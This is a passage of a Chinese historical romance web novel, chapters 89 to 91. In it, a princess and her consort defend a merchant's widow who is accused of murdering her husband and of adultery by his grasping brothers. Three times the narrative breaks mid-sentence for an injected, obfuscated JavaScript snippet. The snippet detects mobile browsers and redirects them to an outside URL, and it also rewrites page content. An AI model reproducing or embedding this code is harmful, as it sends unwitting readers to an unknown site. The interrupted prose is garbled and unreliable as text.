这时又有意一个家丁模样的人连滚爬爬地逆着人流,冲向府衙,面色惨白,声音凄厉地高喊:“不好了!出人命了!我们家老爷……老爷没了!” 封眠听得“人命”二字,心头猛地一跳,立刻对车夫下令:“跟上去看看。” 封眠转身上了马车,行出去没多久,马车便停下了。 车夫:“郡主,前面围得水泄不通。” 封眠撩开车帘向外望了一眼,被人群围拢的中央,一辆装饰华丽的马车孤零零地堵在巷口,拉车的马儿不安地刨着蹄子。 马车帘幕低垂,但自车窗被风卷起的缝隙处,隐约可见一个身着锦袍的中年男子歪倒的身影,姿态僵硬诡异。 “啊!”流萤捂住唇发出一声惊呼,害怕地从门边缩了回去。雾柳环住她的肩,安抚地拍了拍。 围观的百姓议论纷纷,声音里充满了震惊。 “听说是陈会长?上午我还瞧见他好端端地巡店呢,怎么一转眼就……” “是在马车里没的?怎么回事?这也太突然了!” “你没看见吗?刚才有个唱曲儿的姑娘衣衫不整地从车上跳下来,哭着跑没影儿了!” “啧,难道是……马上风?”有人压低了声音揣测着。 “不能吧,折夫人那般貌美能干,陈会长何必……” “不懂了吧?男人嘛,家里头的夫人再漂亮,哪有外头的鲜呐?更何况这陈会长也不是什么一心一意的主,陈府是没通房姨娘,但外室相好可是一个都没少。” “这……那这死法也太不体面了,让折夫人日后如何……” 封眠眉心紧紧蹙起,四下张望了一番,并没瞧见折夫人的马车,兴许还没得到消息。 百姓们时有些捕风捉影的猜测,或许陈会长另有死因,在仵作查看之前,这些污言秽语若被折夫人听见…… 她正这般想着,得到消息的官差和仵作也赶到了。 官差驱散开过于靠近的人群,仵作提着箱子,面色凝重地掀开车帘钻了进去。 封眠示意马车旁的侍从上前等着听消息。 片刻之后,仵作退了出来,对着为首的官差低声回禀。 侍从听罢,急匆匆来与封眠回禀,他面色古怪,艰难启齿:“禀郡主,经仵作初步勘验,死者面色潮红,瞳孔散大,衣冠不整……系马上风之症猝死。死亡时间约在一炷香内。” “……” 封眠简直不知该以什么心情面对这则消息,她与 陈会长一点也不熟,虽是一条生命逝去,但这种死法,她也并同情不起来。反而只想着,若是折夫人知道这个消息…… 就在这时,人群自动分开一条道路。 是折夫人来了。 她显然来得匆忙,身上披着一件素色外袍,发髻不似平日那般精致,几缕青丝垂落颊边,面色苍白得毫无血色,如同一尊易碎的玉瓷。 她走到马车前数步远的地方,停了下来,目光先是落在垂下的车帘上,仿佛能穿透那厚重的布料,看到里面不堪的景象。 她的眼神复杂难辨,有震惊,有茫然,但深处似乎并无多少悲戚,反而更像是一种尘埃落定的冰冷。 她没有哭喊,也没有再上前撩开帘幕查看一番,只是站在原地,身体微微颤抖,像是秋风中的芦苇。 一旁的嬷嬷带着哭腔上前:“夫人……” 折夫人缓缓抬手,止住了她的话。她深吸一口气,转向为首的官差,声音虽然带着一丝不易察觉的沙哑,却异常平静:“有劳各位大人……按规矩办吧。” 说完,她不再多看那马车一眼,决绝地转过身。 在转身的刹那,她的目光与封眠担忧的视线在空中短暂相接。 折夫人的眼中迅速闪过一丝难以言喻的复杂情绪,随即被她垂下眼帘,彻底掩去。 封眠没有上前,心知她此刻更需要独处,便只目视着她挺直背脊,在嬷嬷的搀扶和仆妇的簇拥下,一步一步走远。 “带人先去将围观的百姓遣散了,别让他们看见尸体。”封眠低声吩咐侍从,虽然这样也根本阻止不了消息传出去,但……聊胜于无吧。 天色仿佛感知到人们的心情一般,渐渐晦暗下去。马车行至半途,细密的雨丝便飘洒下来,敲打在车顶上,发出沙沙的轻响,更衬得车厢内一片静谧。 待马车稳稳停在王府门前时,雨幕已织得绵密。 封眠起身掀帘,却见外面等待的人并非先一步下车的流萤和雾柳。 氤氲的水汽中,百里浔舟执伞立在车前。雨水顺着青布伞面汇聚成串,淅淅沥沥地落下,在他周身形成一道朦胧的雨帘,映得挺拔如松竹的身形愈发俊逸。 他微微倾身,将伞面全然罩住车门。封眠抬眼望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16439726|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,目光恰好撞进他被水汽晕染得格外漆黑温润眼眸里,仿佛敛尽了周遭所有的天光与水色,专注地映出她一个人的身影。 几缕额发被溅入的雨水打湿,随意贴在额角,更添了几分不羁的俊朗。 “慢些。”他朝她伸出手,“别淋到了。” 封眠这才注意到,他这个姿势将自己的肩膀和背身都暴露在雨中,肩头已经洇开一小片深色的水痕, 她忙将手放入他微带湿意的掌心,被他稳稳握住。就在她急急借力步下马车的瞬间,百里浔舟手臂不着痕迹地微微用力,将她往自己身前带了一步,让她完完全全地置身于伞下的庇护之中,隔绝了所有风雨。 “有你这般打伞的吗?后背都湿透了吧?也不让山衣再帮你多打一把伞。”封眠蹙着眉去摸他的后背,刚触及湿漉漉的布料,便被他反手握住了。 “这点小雨淋在我身上不痛不痒的,你若被淋病了,那才是了不得。” “走吧。”他抬手揽住封眠肩头,护着她往府门走去,伞始终倾向她那一侧,“雨里凉,你若要训我,进屋再说。” 封眠根本挣不过他,被他单手一裹,便轻易带入了廊下。 幸而王府修了一条曲折回还的长廊,一路通往藏弓院,朱漆栏杆外雨坠如帘,颗颗水珠砸在青瓦与石阶上,声如碎玉。密密的水帘如浓雾遮着园中的飞檐花树,别有一番风味。 但封眠急着回到院里让百里浔舟换上一身干爽的衣裳,一路拉着他走得飞快,根本无心看廊外的雨景。 百里浔舟实则很轻易便能走得快过封眠,偏偏落后一个身位,做出一副被她拖着快步前行的模样。 他望着封眠因担心他而急切地迈着步子的步子,裙裾翻飞起落,唇角便忍不住翘起一点。 待他换好了衣裳,瞧见封眠神色恹恹地倚在窗边看雨,唇角那一点笑意才化作叹息。 他走到她身后,温热的手指轻轻搭上她的太阳穴,力道适中地缓缓按揉起来。 “是不是为了折夫人的事,心里不痛快?” 封眠维持着趴在窗边的姿势,轻轻闭上眼,感受着他指尖传来的温度与力量,鼻尖嗅到清冽的雨和泥土青草的味道,心中却仍是发闷,就像压了一块湿冷的布巾。 “一想到折夫人那般玲珑剔透的人物,今日在众目睽睽之下承受那般难堪的一幕,接下来这几日可能都要反复地面对这种难堪,我便觉得难受。” “分明是陈会长德行不堪,他倒死得干脆,留下非议给折夫人一人承受……” 百里浔舟手下动作未停,沉默了片刻,道“折夫人并非寻常弱质女流,她能在商海沉浮中撑起偌大家业,心性之坚韧,远非常人可比。今日之辱或许难堪,但未必不是一重契机。” 百里浔舟将封眠揽入怀中,让她靠在自己胸前,“她与陈会长貌合神离已久,偏偏两家利益往来颇多,她平日没少受陈家的桎梏,如今恰可以趁此脱身了。” 他低下头,下颌轻轻蹭了蹭她的发顶,语气温柔却坚定:“我知道你心里堵得慌,你既不放心,明日我陪你一起去陈府看看,可好?” 封眠在他怀中汲取到令人安心的气息,轻轻摇了摇头,“你就别去了,我一个人去看她好些。” 她反手抱住他的腰,将脸深深埋在他怀里,闷闷的声音传出来:“阿琢。” “嗯?” “你手劲儿太大了,按得有点疼。” 百里浔舟:“……” 89. 第 89 章 暴雨下了一整夜,直到东方既白才渐渐止息。 天光乍破,将被雨水浸润过的街巷花木、屋舍飞檐都映出晶亮的轮廓,空气中弥漫着泥土与草木的清新气息,天地皆被洗刷一新,唯有陈府前院仍乱做一团。 几名官差守着陈府大门,但大门被谁着意敞开着,让门外围拢的人群清楚地看着陈府的热闹。 一群家丁团团将面色苍白的折夫人围拢起来,几名身着锦袍的中年男子立在当中,唾沫横飞地向官差控诉着。 “大人,您可要为我兄长做主啊!”为首一个留着山羊胡的中年男子先是对着官差涕泗横流,转眸便冲折夫人瞪着眼,手指几乎戳到折夫人脸上,“我兄长死得不明不白,定是这毒妇为了谋夺家产,勾结外人下的毒手!” 官差一大早就被陈家人硬拖来此,又困又累,此刻尴尬地站在两方人马之间,耳边听着一通闹哄哄的吵嚷声,心下已有不耐,马上风此等死因,怎么还能怪到谋杀上?这不是闹呢吗? “陈二老爷,报案得讲究证据,陈会长的死因大家都是清楚的,你说是折夫人设计谋财害命,这……证据呢?” 旁边胖些的陈三老爷立刻站出来给自己二哥帮腔:“大人容禀,前日有人亲眼看见,我这位好大嫂私下会见过那个从马车里逃走的唱曲儿丫头!定是她们二人合谋,害死了我大哥!” 封眠刚刚下马车走到门口,便听见这么一句,脑海中瞬间浮现上次离开时,在门口遇见的那名身着素淡衣裙的清秀女子。 官差闻言探寻地看向折夫人。折夫人任由嬷嬷搀着,被几人不分青红皂白的职责劈头盖脸地砸了一通,脊背依然挺得笔直,闻言唇角甚至勾起一抹冰冷的嘲讽笑意。 “我是见过那个唱曲儿的丫头。” 陈三老爷格外激动:“看看,她自己都承认了!” 折夫人转眸冷冷盯着陈三老爷,看得他神色讪讪起来,才慢声道:“这些年来府上求见我的唱曲丫头,妙音娘子,花楼歌女,多得数不过来。就因为这个,你便说我与她合谋,怕是站不住脚吧?” 众人一静,连官差眼中都露出些不忍来。隔三差五便有自家夫君的相好找上门来,折夫人平日里还半点不虞都未在外人面前显露出来,也不知是如何做到的。 陈二老爷冷哼一声:“就是因见我大哥在外留情,你嫉恨交加,这才诱之以利,与她一同谋害了我大哥!这么大的家业摆在面前,她一小小唱曲丫头,自然心动,上了你的贼船!” “二弟说这些话,听来不觉得可笑吗?”折夫人轻笑一声,声音不大,却清晰地穿透了嘈杂,“诸位叔伯莫非是忘了,陈家这偌大家业,近半数的进项,是靠谁撑起来的?我亲手赚来的银子,比陈嘉明名下所有田庄铺面的收益加起来还多!我倒要问问,你们此刻迫不及待地跳出来污蔑于我,究竟是谁在觊觎谁的东西?” 这话如同利剑,直刺要害,让那几个叔伯脸色一阵青白。 封眠好笑地弯弯眼,觉得自己似乎是没有出面的必要了。 “你这贼妇巧言善辩!大家莫要信她!”陈三老爷气急败坏,厉声道,“你分明是为了与你那小情人双宿双飞,才狠心害死亲夫!” 折夫人神色依然冷静:“一会儿说我图谋家产,一会儿说我是为了和情人双宿双飞,两位不如对过口供再带官兵来拿我把。” “看来你是不见棺材不掉泪了!”陈三老爷闻言却像是早有准备,得意地朝身后一挥手,“带上来!” 人群分开,两名家丁推搡着一个身形纤细、做巫傩打扮的人走上前来。那人戴着狰狞的傩面,穿着宽大的巫女袍服,看上去与寻常巫傩并无不同。 官差:“……呃,陈三老爷,这位是名女子吧?” 陈三老爷冷笑一声,眯缝眼阴狠地盯着折夫人,“她就是借着这一点,赌我们都发现不了她的私情!” 他说着转身,粗鲁地扯下那人的傩面和头套,露出一张清秀的、带些男相的脸,两侧家丁强行脱下他的外衫,现出男子修长的体型。 全场哗然! “这、这不就是名男子吗?怎么打扮成女子模样?” “诸位请看!”陈三老爷指着那男扮女装的巫者,声音亢奋,“这姓折的贱妇便是假借占卜问卦之名,频频与这奸夫私会!” 折夫人一直冷然地站在原地,神色了无波动,直到看到那张熟悉的脸被暴露在众目睽睽之下,眸光才几不可察地锐利一瞬。 陈二老爷跟着陈三老爷一唱一和,痛心疾首道:“此事,我大哥他早已知晓,只是顾全颜面,未曾说破罢了!谁知这毒妇竟如此狠毒,先下手为强!” 陈三老爷扑通一声给官差跪了:“大人,您要替我们做主啊!” 官差吓了一跳,连退两步,忙吩咐手下:“来人,将人带回衙门审问!” “慢着!” 封眠越众而出,目光如冰刃般扫过那群咄咄逼人的陈家人,“仅凭一个男扮女装的巫者,几句似是而非的所谓‘知情’,便能断定折夫人谋杀亲夫?” “昨日陈会长刚刚罹难,今日你们便演着假模假样的悲痛,来威逼他的遗孀,心急定罪,究竟是为他讨公道呢,还是担心夜长梦多,陈家的家产旁落到了你们眼中的‘外人’手中,你们一文钱也拿不到手中?” 她的话音落下,方才还被“奸情”冲击的围观百姓们纷纷怀疑地看向那群叔伯。 郡主殿下都这般说了,这群人定然有猫腻! 折夫人侧目看向身旁为她挺身而出的封眠,眼底闪过一丝复杂的微光。被家丁压着的巫傩则深深低下头去,肩膀微微颤抖。 陈三老爷恨得咬牙,今日特意开门迎客,便是为了让云中郡的百姓都知道折夫人的私情,将她彻底钉在耻辱柱之上翻不了身。可这清平郡主怎么突然过来了?不是说郡主与折夫人只是有些生意往来,并无什么私交吗? 他求助地看向身侧二哥,却见二哥丝毫不惧,仿佛有什么后手一般。 官差望望挡在折夫人身前的封眠,正准备命手下们让开,便听身后一道凉薄刺耳的声音:“官衙办事,郡主殿下不好随意插手吧。” “罗巡检!”官差忙转身向来人行礼。 来人一身绯色窄袖官配,腰系金玉带,生得细长眉眼,面色是一种不正常的苍白,穿着武官的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443794|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袍子,周身却一副阴凉鬼恻之态,望向封眠的视线也湿凉黏腻,像常年盘踞在暗处的毒蛇。 封眠心中警铃大作。巡检负责一方治安缉捕,权柄远高于衙门官差,但她并不认识眼前这位。看他官袍是个五品官,观其神态亦不是个好相与的。 她当即侧首,低声对身后侍卫吩咐:“先护着折夫人去后院。” 然而她话音未落,余光便瞥见对方动作更快! 那罗巡检身后数名带刀护卫如鬼魅般迅捷冲出,竟生生隔开封眠身后的侍卫,刀鞘微抬,将她与折夫人二人合围其间。动作干脆利落,显是训练有素,且毫不顾忌封眠的身份。 “罗巡检,”封眠面色一寒,声音冷了下来,“你这是何意?” 罗巡检细长的眼睛眯了眯,皮笑肉不笑地拱了拱手:“郡主殿下息怒。下官也是奉命行事,陈会长暴毙,折夫人嫌疑重大,需带回巡检司问话。至于您……” 他语调拖长,那黏腻的目光再次扫来,“还请行个方便,莫要阻碍公务才是。” “我若不允呢?” 罗巡检狭长眼眸中闪过一丝利芒,“那就请殿下恕罪了,动手!” 当先的侍卫拔剑出鞘,剑刃反射寒光,就在剑锋即将完全出鞘之际,忽有数道尖锐的破空声响起,几枚乌黑的石子精准无比地连续击中侍卫们持剑的手腕软筋之上。 “呃啊!” “铛啷——” 惨呼与兵器坠地的声音几乎同时响起,佩剑纷纷脱手,砸落在地。 一道玄色身影已掠至近前,他足尖在一名逼近封眠的侍卫肩头猛地一脚踹去,侍卫向后倒飞,重重砸翻了数人。 百里浔舟凌然护于封眠身前,冷冽的目光扫过众人,声如玄铁:“我看谁敢?” 满地皆是哀嚎,方才还气焰嚣张的陈家人惊惶瑟缩,罗巡检面色阴沉得能滴出水来,细长的眼中闪烁着复杂的光,却紧抿着唇一言不发。 “你怎么来了?”封眠自百里浔舟身后探头看他,心下已全然放松。 百里浔舟闻声侧首,目光落回封眠脸上时,瞬间变得温柔,声音也放低了,语气里有一丝后怕,又有一丝邀功的骄傲,“我不放心你,便派轻衣暗中跟着你。果然什么牛鬼蛇神都冒出来了。” “你可知这巡检是谁?” “谁?” “罗驰尔,位及宰辅的罗公是他祖父。”百里浔舟轻声解释,“他刚刚就任沿边巡检使。” 封眠略一思索,这不是柔妃的母家吗? 她特意写信请太子兄长帮忙暗中运作,送些好官来,怎么好官还没见着,先来了个棘手的罗驰尔? “两位殿下。”对面忽然传来一道略带些咬牙切齿的阴凉嗓音,罗驰尔闭目深呼吸,压下心中不满,勉强扯出一个皮笑肉不笑的表情:“我等还在此处呢,二位若要议论要抒情,不如回了王府再慢慢说?” “哦?抱歉。”百里浔舟像是才注意到说话之人般,漫不经心地掀起了眼帘,唇角勾起一抹极淡的弧度,“你不说话,我还真没看见此处还有个人。” 那你方才议论的人是谁?罗驰尔险些气个倒仰。 90. 第 90 章 “两位殿下如此护着一个嫌犯,未免有些目无法纪了吧?” 罗驰尔一张口便是一道罪名砸过来,他细长的脖子高高扬起,愈发像一条阴森嘶嘶的毒蛇。 他他刻意抬高了声调,确保每一个字都能清晰地传到外面,:“若这世道都如此官官相护,我们巡检司要如何办案?亡者的公道又由何人来伸张?” 声音带着刻意的沉痛情绪,仿佛真的在鸣不平一般。 他虚情假意地接着劝道:“只是去巡检司走一遭,若经查断,折夫人是无辜的,在下自然便将折夫人完好无损地送回府上。” 说着,他的目光锐利地扫过百里浔舟与封眠,话锋一转,语气陡然变得意味深长:“可两人殿下这般拦着,倒好似怕我们去查出点什么来一样。这般行事,岂能服众啊?” 最后那句话,他几乎是掷地有声地抛向外围观的百姓,说罢便暗暗勾起一侧唇角,等着预想中的骚动响起。 外头的百姓们果然也愤愤然地声讨了起来。 “他们怎么竟还敢对郡主动手?也太可恨了!”一个粗犷的男声扬声指责着。 “要不是咱们世子来得及时,郡主岂不是要手上了吗!”妇人忧心忡忡的附和传来。 “郡主都好声好气与他们说有隐情了,这姓罗的巡检怎么上来就要动手啊?别是心虚了吧?”更有人直言不讳。 罗驰尔:“……” 这不对啊!一群愚民而已,不是应该被他三言两语挑拨,便同仇敌忾起来,纷纷谴责世子与郡主以权压人,妨碍公务吗?怎么这云中郡的百姓倒反过来说他的不是了?他们不是应该最厌达官显贵吗! 罗驰尔嘴角那抹得意的弧度僵住了脸色由红转青,要勾不勾的唇角微微抽搐着,显得颇为诡异。 封眠死死抿住唇,将脑袋迈进百里浔舟的后背处,闷闷地笑了起来。 一点热气和憋笑的震动隔着轻薄的衣料传到皮肤上,痒得百里浔舟下意识想躲,又惦记着要遮住封眠,只能僵在原地,不大自在地动了动肩膀。 将封眠遮在身后,百里浔舟旋即不耐烦地看向罗驰尔,“少啰嗦。人,你别想带走。这案子,我看也没有要劳动巡检司来查的必要。” “就让衙门的官差将这所谓的奸夫……”百里浔舟扫一眼满身狼狈的年轻巫傩,“还有那个所谓的同谋歌女,一并带去衙门询问就可以了。” 他刻意放缓了语速,“毕竟陈会长的死因,你我都清楚。我倒不知,要用什么样的手段,才能达成这种谋杀?” 罗驰尔的脸色彻底沉了下来,攥紧的指节微微发白,丝毫没有让步的打算,“恕在下难能从命。” 他一声令下,带来的侍卫们齐刷刷上前护在他身后,气势紧绷,院内的空气一时凝滞。 官差心里落下斗大的汗珠,想着这有背景的官儿就是硬气,看这架势,是要对峙到底了,也不知郡守大人何时才能到,他可是承受不住这种场面…… “罗大人!世子殿下,郡主殿下,莫要动气,事好商量啊!” 郡守姗姗来迟,几乎是跌撞着挤进这剑拔弩张的包围圈里。他额上汗水涔涔,也顾不得擦拭,只连连作揖,心里早已苦不堪言。 他虽名义上是秦王的小舅子,但实则只是家中众多庶子中的一个,地位轻若鸿毛,不敢得罪定北军的世子殿下和天潢贵胄的郡主殿下,但也惹不起这位罗巡检啊,他背后可是有罗家撑腰。 罗巡检冷眼扫来,咬牙切齿的语气带着些阴森逼迫:“郡守大人,有何高见?” 郡守抬袖用力擦去额角虚汗,若有的选,他是真不想见这几位,恨不能立刻昏厥过去,也好过在此受这夹板气。 他嘴唇哆嗦着:“这个……那个……” “不如这样吧。”封眠忽然向外轻移一步,错了一个身位,从百里浔舟的影子里走了出来。她的声音不高,却清晰地传入每个人耳中,瞬间吸引了所有目光。 “罗大人是忧心陈会长含冤而亡,”她语调平稳,目光掠过罗驰尔,又转向郡守,“我与世子殿下,亦是担心折夫人蒙受不白之冤。既然各执一词,争执不下……” 她微微停顿,日光恰好落在她清丽沉静的眉眼间,她被闪得微微蹙了蹙眉,转了一下角度避开日光直射。 “那便当众验,当众审。” 郡守像看从天而降的神女一样看着她,一怕大腿:“好好好,那就当众验,当众审!” 日头逐渐灼烫起来,百里浔舟侧首示意,山衣便机灵地送上来一柄青竹油纸伞。 他接过伞,稳稳在封眠头顶撑开了一片荫凉,遮住了晒向她日光。自己则混不在意仍暴露在烈阳之下的大半边身子。 封眠抬起眼看见他一侧脸颊被晒得有些发红,便抬手覆在他执伞的掌背上,将伞往他的方向推了推,见荫凉遮住了他被晒红的脸,这才放心地松开手。 她刚放下手,便感觉到百里浔舟执伞的手又微微地往她的方向偏移了一线,这回她头也不抬地伸出一根手指戳住他的掌背,微微一用力将他的手推回去。 没过几息,他握着伞的手又蠢蠢欲动起来。 身后的山衣忍不住了,幽幽地自两人中间冒出一句:“世子殿下,属下这里还有还有一把伞……” 话音未落,百里浔舟向封眠的方面挪了小半步,与她衣袖叠衣袖,将两人之间那一点空隙尽数消弭,也彻底把山衣完完整整挡在了后头。 山衣瘪嘴,本来心情略有些沉重的折夫人看见这一幕,也没忍住侧首露出一个笑来。山衣赶忙将手中另一把伞递给折夫人身旁的嬷嬷,让她为折夫人遮一遮阳。 嬷嬷投来感激的一瞥,轻声与自家夫人耳语:“夫人,您这次是真碰着贵人了。” 折夫人目光复杂地看一眼封眠,“是啊,真是没想到……” 不管结果如何,这份恩情,她必得回报才是。 片刻后,就在陈府大敞的府门前的庭院之上,临时摆开了郡守升堂的架势。 陈会长的尸首被抬到了侧边廊下,在众目睽睽之下,由三名仵作分别对其进行极为细致的检验。 而庭院中,年轻巫傩跪伏在地,脸上血色尽失在陈二老爷近乎杀人的目光逼视下,他浑身颤抖如筛糠,声音嘶哑地交代:“是夫人先勾引我的……” 他声音嘶哑,不敢抬头看任何人。 陈三老爷得意至极:“这下你还有何话说?” 折夫人冷眼瞧着跪地的青年人,不置一词。 那名从现场逃走的歌女也被带了回来,身子软得几乎站不住,跪坐在地上,脸上脂粉被泪水冲得斑驳。 “民女…民女确实去找过折夫人…”她声音细若蚊蝇,在郡守拍了一次惊堂木之后,才努力提高声量,“只因母亲病重, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450381|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走投无路才去求夫人施舍…夫人心善,当即请了大夫为母亲诊治…” 她抬起泪眼,急切地望向端坐一旁的折夫人:“除此之外,夫人再未许我别的!我、我确实存了攀附之心,陈会长他……他先前许诺过要为我赎身,纳我入府……” “折夫人说,纳妾之事需得陈会长首肯,亲自与她提才行。故而第二日我才……才与陈会长相约出游,本想趁机求得他点头,谁知……谁知就出了这样的事!” 她突然激动起来,向前猛地一磕:“大人明鉴!我怎么会与夫人合谋杀害陈会长?我还在等着他兑现诺言,风风光光接我进府啊……” “我一个弱女子,若是得了大笔银钱,也是守不住的,能从良入后宅,岂会行这等蠢事!” 折夫人轻轻一声叹息,“傻姑娘。即便他昨日没出事,你也等不到他来接你。” “像你这样哭哭啼啼寻到我面前的姑娘,这些年来我见过不下十个。可……他一次也没有向我提及过。少则三两月,多则半年一年,他便腻了倦了,又要换新人……” 歌女闻言,哭得更为伤怀。 此时三名仵作也已勘验完毕,得出了明确且一致的结论。 “陈会长体表并无任何致命外伤,亦无吸入或服用可疑药物的痕迹。就只是脱症而亡,也就是俗称的马上风。” 庭院内外陷入一片诡异的寂静,陈会长的死因被板上钉钉,并无外力谋害的痕迹,似乎已经可以确证折夫人清白了。 这时柳寄雪领着一人匆匆而至,那是一位身着素布长衫、背着药箱的游方郎中。 “草民……草民曾私下为陈会长诊治过一些……嗯,隐秘之症。”郎中在众人注视下显得有些紧张,但在柳寄雪鼓励的目光中,还是鼓起勇气说道,“主要是帮陈会长调理……调理肾元,重振雄风。陈会长他早已外强中干,内里亏空得厉害。草民屡次劝他静心休养,固本培元,可他……唉,就是不听劝呐!这般不知节制,纵情声色,便是大罗金仙也难救啊!” 他摊开手,脸上露出无奈的神色,又带着几分医者痛心:“这身子骨早就被掏空了,油尽灯枯之象已显,如今这般突发脱症……只能说身子骨已到了极限,如何能说是被人谋害呢?” 陈会长身边的小厮、管家都供认见过这位游方郎中私下出入陈府,为陈会长悄悄诊治。只因陈会长好面子,不愿被云中郡这些坐堂大夫们知道他的病症,又听闻这游方郎中于男子私房一脉颇有经验,这才频频求他看病。 柳寄雪立于廊下阴影中,遥遥与封眠交换了一个视线。她之前私下行医,结识了不少游方郎中,偶然听见过一耳朵庭中这位郎中私下为陈会长看病一事,今日一听说此事,便立刻去找到了这位郎中,请他来证明陈会长本就肾虚体弱,死于脱症并不意外,也可以成为折夫人脱罪的一条理由。 至此,折夫人蓄意谋害的嫌疑,已算是洗刷干净。 罗驰尔阴森森地瞪向陈家两位老爷。 郡守刚想顺势宣布此事乃是一场误会,让大家散了,陈三老爷猛地跳了出来,指着折夫人,声色俱厉地吼道:“就算我兄长不是被她谋害,但她与旁人通奸,私德败坏,是不争的事实!如此□□妇人,岂能再为我陈家妇?今日我陈家便要休了她,将她赶出府去,净身出户!” 图穷匕见,想夺家产的心思这下是一点也不遮掩了。 91. 第 91 章 陈三老爷的一声怒吼,骤然将所有人的注意力从一桩命案,拉回了对有夫之妇与人通奸的私德审判。围观人群这才如梦初醒,嗡嗡的议论声浪再起,探究与审视的目光重又转移到了折夫人身上。 陈三老爷见状,脸上掠过一丝扬眉吐气的得意。下颌微抬,发出一声极其响亮的冷笑:“哼!这贱妇德行有亏,玷辱我陈府门楣!若非看在往日情分,我早就开宗祠,请家法,将她沉塘了事!如今只是将她逐出家门,已是天大的恩典!” 通奸罪已是前朝的事,本朝律法对此等私德之事未曾有所定论,官府不便插手。郡守终于找到了一个离开的借口,忙上前一步,看向面色阴郁的罗驰尔,赔着笑道:“罗大人,您看,这毕竟是人家的家务事,咱们府衙和巡检司就不要插手了吧?” “罗大人……”陈二老爷还想请罗驰尔留下来帮忙撑一撑腰,毕竟他瞧对面的世子与郡主看起来不像是不准备插手的模样,但罗驰尔只是阴森森地盯了他一眼,他便定在了原地。 他心里发苦,本以为赶走折夫人一个无儿无女的妇人是件轻易摘桃的事,谁能想到现下弄成这样的局面,罗大人刚刚赴任便在百姓面前落下这么一个不好的印象,在与世子和郡主的交锋之中落败,不记恨他们陈家便好了,岂会还留下来再帮他们一次? 罗驰尔自鼻腔里溢出一声清晰的冷哼。他心知今日再多停留也是无益,当即袍袖一甩,连一句场面话都欠奉,头也不回地带着侍卫大步离去,单薄的脊背透出几分森冷。 哄走了这尊最难缠的大佛,郡守如蒙大赦,连忙用袖子擦着汗,扭身行礼,“郡主殿下,世子殿下,下官先告辞了!” 语罢,他几乎是脚不沾地地追着罗驰尔的背影去了,只想尽快逃离这是非之地。 人群并未因府衙中人的离去而散去,封眠也没有离开。 她静静立于原地,仍护在折夫人身前。百里浔舟亦依旧撑伞立于她身侧,反正封眠不动,他也不动。 陈三老爷颇为不悦:“郡主殿下这是要插手我陈家的家事吗?” 封眠目光清亮坦荡,毫不犹豫道:“是啊。” 陈三老爷:“……” 他噎了一下,脸上肌肉微微抽搐。这……是不是有些太过理直气壮了?连句委婉的托词都没有? 封眠唇角勾起一抹极淡的弧度,声音清晰地传入每个人耳中:“我既非官府中人,也无巡检司名头,今日,我只是以折夫人好友的身份在此。好友蒙冤受辱,我岂能坐视不理?” 折夫人眼睫颤了又颤,目光微微垂下,落在比她矮上半个头的女子身上。她生得纤弱,看起来弱不禁风,却一直如此坚定地护在她身前,如一道无坚不摧的屏障。 可……为什么呢?为什么如此帮她? 封眠不等陈三老爷反驳,忽地转向门外众人,声音不高,却有一种奇异的穿透力:“诸位乡邻方才也都听见了,陈三老爷口口声声指责折夫人私德有亏。可我倒想问一问,陈会长生前那般荒唐行事,冷待结发妻子,甚至默许新欢登门,任妻子默默忍下所有侮辱苦楚,郁郁寡欢时,陈家的‘德’又在何处?” 她顿了顿,见有些人面上已露出不忍之色,接着又道:“更何况,折夫人嫁入陈家这些年,操持中馈,抚恤孤寡,桩桩件件哪一样少做了?她从未因陈会长的言行而怨恨甚至薄待陈家众人。” “我记得云中郡的几家慈幼堂皆是由折夫人资助办起来的,而陈家的产业,更是没少趴在折夫人的嫁妆和私产上吸血。如今两位陈老爷,倒有脸面来论折夫人的私德了?” 退至廊下的歌女忽然怯生生地抬起头,鼓足勇气向围观的百姓们嗫嚅道:“折夫人是个好人,她不但丝毫不为难我,还愿意为我母亲延医问药,就算……就算……” 她说不出折夫人与人通奸这几个字,含混过去后接着道:“那也不应怪在夫人身上……” 人群中开始骚动,议论的风向悄然转变。 “就是,折夫人做了那么多善事,将陈家和商会打理得那么好,陈家人就这样欺负她,也太过分了吧?”一名中年男子极其大声地让让出来。 “陈家商会能有如今规模,靠的还不是折夫人的手段吗?” “陈会长自己不成器,倒来怪折夫人,怕是就想霸占了折夫人辛苦打下的产业吧?” 陈二老爷脸色气得铁青,正待说些什么,封眠已抢先上前一步,朗声道:“今日在此,不如请诸位乡邻评评理,折夫人是否该带着本属于她的嫁妆,以及她亲手经营起来的产业,离开陈家?” 人群中有谁振臂一呼:“应该!” 零零碎碎的应和声紧随其后:“夫人没错!”、“支持折夫人!” 